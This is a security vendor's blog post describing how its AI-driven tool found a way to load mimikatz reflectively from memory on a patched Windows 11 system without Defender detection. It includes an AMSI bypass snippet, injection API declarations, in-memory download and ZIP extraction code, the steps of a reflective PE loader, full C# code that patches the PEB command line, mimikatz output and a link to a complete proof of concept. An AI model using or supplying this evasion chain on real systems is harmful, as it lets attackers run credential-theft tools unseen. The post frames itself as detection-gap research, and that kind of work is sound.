top of page

Month of Bypasses Iteration 2: You Can't Escape The Katz!

  • May 1
  • 6 min read

By the Persistent Security Research Team - April 2026


Portable Executable Injection - MITRE ATT&CK T1055.002


When Defender sees mimikatz, it kills it. On disk, in a ZIP being extracted, in a PowerShell script that references it - the binary has thousands of signatures pointing at it from every angle. Yet it's still one of the most useful tools for red teamers and bad actors alike! So how do you run mimikatz on a fully patched Windows 11 system with Defender at latest signatures without ever triggering a single alert? You load it entirely from memory, using techniques so benign-looking that Defender's compound signature engine never fires.


Today's bypass targets T1055.002, Process Injection: Portable Executable Injection. Specifically: reflective PE loading of an arbitrary native executable purely in memory, with zero disk artifacts and zero detection.

Attackers spend considerable time on creating their unique stagers / loaders / payloads and they need constant updating and testing. Well until 2026, finding a bypass against a standard Defender installation on an Endpoint is cheap using the systematic AI backed evasion Nemesis provides, time and money wise. Don't believe us? The research below cost a few € in compute only, yet yield a technique directly usable.


What Defender Blocks

Defender has layered protections against in-memory PE execution. Understanding what it does catch is essential to understanding why what we found works.


Block 1: Mimikatz on disk, file scanner

The obvious approach fails immediately:

Expand-Archive mimikatz_trunk.zip -DestinationPath .\


Defender's real-time file scanner reads inside ZIP archives when they're extracted to disk. The moment mimikatz.exe bytes are read from the filesystem, whether via Expand-Archive, [IO.File]::WriteAllBytes, or any other disk write, the file is quarantined before it can execute.


Block 2: PowerShell scripts with injection patterns, compound signature

Write a script that combines an AMSI bypass with process injection P/Invoke declarations:

# AMSI bypass

$f=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')

$f.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)


# Injection APIs

Add-Type @"

[DllImport("kernel32")] public static extern IntPtr VirtualAllocEx(...);

[DllImport("kernel32")] public static extern bool WriteProcessMemory(...);

[DllImport("kernel32")] public static extern IntPtr CreateRemoteThread(...);

"@


This script never executes. Defender scans the .ps1 file on disk before PowerShell loads it and matches a compound signature: AMSI bypass pattern + DllImport injection API declarations + process injection context. The script is blocked at the file level in under one second.


Block 3: In-memory content scanning

Even if you download an encrypted mimikatz payload and decrypt it in the PowerShell process memory, Defender's real-time memory scanning can trigger on known byte patterns when they appear in cleartext, particularly in processes with AMSI integration.

The standard toolkit is closed off at three independent layers: file system, script content, and memory patterns.


Other Blocks: API and Syscall Hooking

Now advanced EDRs don't rely on the above, they hook right where the execution happens at the API or even system call level. Bypassing this is for one of the next posts where we fire up the Nemesis against the more advanced protections.


How Nemesis Found the Gap

We tasked the Nemesis variant analysis engine with a clear objective:

execute mimikatz's token::whoami on a Windows 11 system with Defender at latest signatures, entirely from memory, with no custom binaries on disk.

Thanks to full auditability it's easy for us to investigate what the AI actually did and tried along its way, so here's Nemesis evolution until it uncovered the bypass:


Generation 1–2: Understanding the detection surface

Hypothesis: Standard injection scripts with various AMSI bypass obfuscation (base64 encoding, char-code arrays, string concatenation) should evade the compound signature.

The variants tried every known AMSI bypass obfuscation technique, [char[]](97,109,115,105,...), format strings, XOR-decoded field names, combined with standard Add-Type injection APIs.

Result: All blocked in under one second. The .ps1 file was quarantined before PowerShell even loaded.

Observation: Defender's compound signature matches structural patterns, not literal strings. No amount of string obfuscation helps when the structure (reflection call + DllImport block + injection API names) is preserved and the scanners seem to have proper parsing capabilities!


Generation 3: The critical control experiment

Hypothesis: What if the AMSI bypass is removed entirely? Is DllImport alone enough to trigger the block?

A script with full Add-Type injection API declarations, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, but no AMSI bypass code at all.

Result: The script executed without being blocked.

Observation: The AMSI bypass pattern is the trigger for the compound signature. Without it, Defender treats injection API declarations as benign (they appear in thousands of legitimate scripts). This is counterintuitive: adding an AMSI bypass exposes you to more detection than omitting it. And since AMSI only scans PowerShell script content, not native PE execution, the bypass was never needed in the first place.


Generation 4: In-memory ZIP extraction

Hypothesis: Defender catches mimikatz when extracted to disk. What about extracting directly into a byte array from a MemoryStream?

$zipData = $wc.DownloadData($url)

$ms = New-Object System.IO.MemoryStream(,$zipData)

$za = New-Object System.IO.Compression.ZipArchive($ms, 'Read')

# Extract to byte[] - never touches disk


Result: The full 1.3MB mimikatz PE was held in a PowerShell byte array. Defender did not detect it (at least the write!).

Observation: Defender's file scanner triggers on disk I/O, not on byte arrays in process memory. DownloadData + MemoryStream + ZipArchive.Read is an entirely in-memory pipeline that bypasses the file scanner completely.


Generation 5: Reflective PE loading with C# Add-Type

Hypothesis: With mimikatz bytes in memory, can we perform a full reflective PE load in C# compiled at runtime via Add-Type, and call the entry point?

Nemesis fully automatically implemented a complete PE loader as an inline C# class:

  1. VirtualAlloc with PAGE_EXECUTE_READWRITE for the full SizeOfImage

  2. Copy PE sections to their virtual addresses

  3. Apply base relocations (IMAGE_REL_BASED_DIR64 fixups with the rebase delta)

  4. Walk the Import Directory Table, resolve each function via LoadLibraryA + GetProcAddress

  5. CreateThread at ImageBase + AddressOfEntryPoint

Result:SUCCESS! the trusty Mimikatz banner appeared, but it tried to parse PowerShell's command-line arguments (-NoLogo, -NoProfile, ...) as mimikatz commands, then dropped into its interactive prompt.

Observation: The reflective loader works perfectly. Defender doesn't scan the Add-Type compiled assembly or the RWX memory region containing the mapped PE. The remaining problem is purely a plumbing issue: mimikatz reads GetCommandLineW() which returns the host process's arguments. This would already be good enough to run the actual attacks, but of course we like to have a perfect result! So the work continues:


Generation 6: PEB CommandLine patching

Hypothesis: If we overwrite the process's command line in the PEB (RTL_USER_PROCESS_PARAMETERS.CommandLine) before calling the entry point, mimikatz will see a clean argument string instead of PowerShell's flags and we get rid of these annoying errors!

This actually burned some token (about 30% of the whole), eve more than creating the loader, because messing with the raw commandline parameters after the original powershell process was started requires some low level magic...fortunately Nemesis figured it out after some loops:

The MSVC CRT calls GetCommandLineW() during mainCRTStartup, which reads from the PEB. By overwriting both the wide (+0x70) and ANSI (+0x60) UNICODE_STRING buffers in ProcessParameters with just "mimikatz.exe", zeroing out the rest, the CRT initializes with a clean slate. Here's the resulting code to add to our loader script:

public static void ClearCommandLine() {

    var pbi = new PROCESS_BASIC_INFORMATION();

    int ret;

    NtQueryInformationProcess((IntPtr)(-1), 0, ref pbi, Marshal.SizeOf(pbi), out ret);

    IntPtr procParams = Marshal.ReadIntPtr((IntPtr)(pbi.PebBaseAddress.ToInt64() + 0x20));


    // Overwrite wide CommandLine at +0x70

    IntPtr ustrAddr = (IntPtr)(procParams.ToInt64() + 0x70);

    short curLen    = Marshal.ReadInt16(ustrAddr);

    IntPtr bufPtr   = Marshal.ReadIntPtr((IntPtr)(ustrAddr.ToInt64() + 8));

    string stub     = "mimikatz.exe";

    for (int i = 0; i < curLen / 2; i++) {

        short ch = (i < stub.Length) ? (short)stub[i] : (short)0;

        Marshal.WriteInt16((IntPtr)(bufPtr.ToInt64() + i * 2), ch);

    }

    Marshal.WriteInt16(ustrAddr, (short)(stub.Length * 2));


    // Overwrite ANSI CommandLine at +0x60

    IntPtr ustrAddrA = (IntPtr)(procParams.ToInt64() + 0x60);

    short curLenA    = Marshal.ReadInt16(ustrAddrA);

    IntPtr bufPtrA   = Marshal.ReadIntPtr((IntPtr)(ustrAddrA.ToInt64() + 8));

    for (int i = 0; i < curLenA; i++) {

        byte ch = (i < stub.Length) ? (byte)stub[i] : (byte)0;

        Marshal.WriteByte((IntPtr)(bufPtrA.ToInt64() + i), ch);

    }

    Marshal.WriteInt16(ustrAddrA, (short)stub.Length);

}


Result: Mimikatz starts clean with its interactive mimikatz # prompt, no spurious error messages from PowerShell arguments. Full interactive credential tool running from memory.

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08

 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)

 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz

 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )

  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/



mimikatz # privilege::debug

Privilege '20' OK



mimikatz # token::whoami

 * Process Token : {0;000003e7} 0 D 39847472

 ...


Zero detection. Zero alerts. Defender completely blind.

The Bypass

The complete technique in one script, download, extract, load, patch, execute can be found here: https://github.com/persistent-security/month-of-bypasses/blob/main/mob-2-poc-pe-self-inject-mimikatz.ps1

No binaries on disk. No AMSI bypass. A single inline C# class handles the PE loading and PEB manipulation.


Result

Defender Detection

Behavior Block

Result

mimikatz interactive shell running from memory

none

none

NOT PREVENTED ✅ NOT DETECTED



What's Next

In the next iteration, we take this primitive cross-process: injecting the reflectively loaded PE into a SYSTEM-level process for stealth, achieving code execution with a clear purpose...stay tuned!



The Month of Bypasses is a research project by the Persistent Security team. We are describing important aspects of variant analysis and limits of current defenses. Should we feature actual vulnerabilities beyond detection gaps, we will disclose them through the Belgian Coordinated Vulnerability Disclosure (CVD) framework via the Centre for Cybersecurity Belgium (CCB). Nemesis BAS is available at persistent-security.net.

Have questions or want to test your own defenses? Contact us at info@persistent-security.net.

 
 

Keep up with the news!

Subscribe to keep updated about the latest product features, technology news and resources.

Want to learn more about how Nemesis can help you?

Fill in the form and we will contact you shortly or you can always reach us out via: info@persistent-security.net

Schedule an appointment
May 2026
SunMonTueWedThuFriSat
Week starting Sunday, May 10
Time zone: Coordinated Universal Time (UTC)Online meeting
Saturday, May 16
10:00 AM - 11:00 AM
11:00 AM - 12:00 PM
12:00 PM - 1:00 PM
1:00 PM - 2:00 PM
bottom of page